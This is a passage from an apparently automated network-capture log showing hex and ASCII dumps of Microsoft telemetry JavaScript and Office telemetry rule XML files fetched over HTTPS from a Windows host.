68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-25 17:28:57 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-25 17:28:57 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-25 17:28:57 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-25 17:28:57 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-25 17:28:57 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-25 17:28:57 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-25 17:28:57 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:57 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:57 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172857Z-178bfbc474bwh9gmhC1NYCy3rs00000007x0000000006u2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:57 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:57 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:57 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: eeb83c2a-e01e-0085-57b8-3ec311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172857Z-178bfbc474bpnd5vhC1NYC4vr400000007q000000000qbg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:57 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:57 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:57 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172857Z-174c587ffdfcj798hC1TEB9bq400000006g0000000000nn9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:57 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:57 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:57 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 52379554-701e-003e-7fd8-3e79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172857Z-15b8b599d88z9sc7hC1TEBkr4w00000006c000000000c51t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:57 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:58 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:58 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:58 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c6f64b36-301e-0000-4706-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172858Z-178bfbc474bw8bwphC1NYC38b400000007hg00000000m1c7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:58 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:59 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:00 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: e04d5a2d-b01e-003d-70c1-3ed32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172859Z-178bfbc474btvfdfhC1NYCa2en00000007sg00000000pnqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:00 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:59 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:00 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 6dd5ded1-501e-0078-0f57-3c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172900Z-15b8b599d88g5tp8hC1TEByx6w00000006ag000000000wks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:00 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:59 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
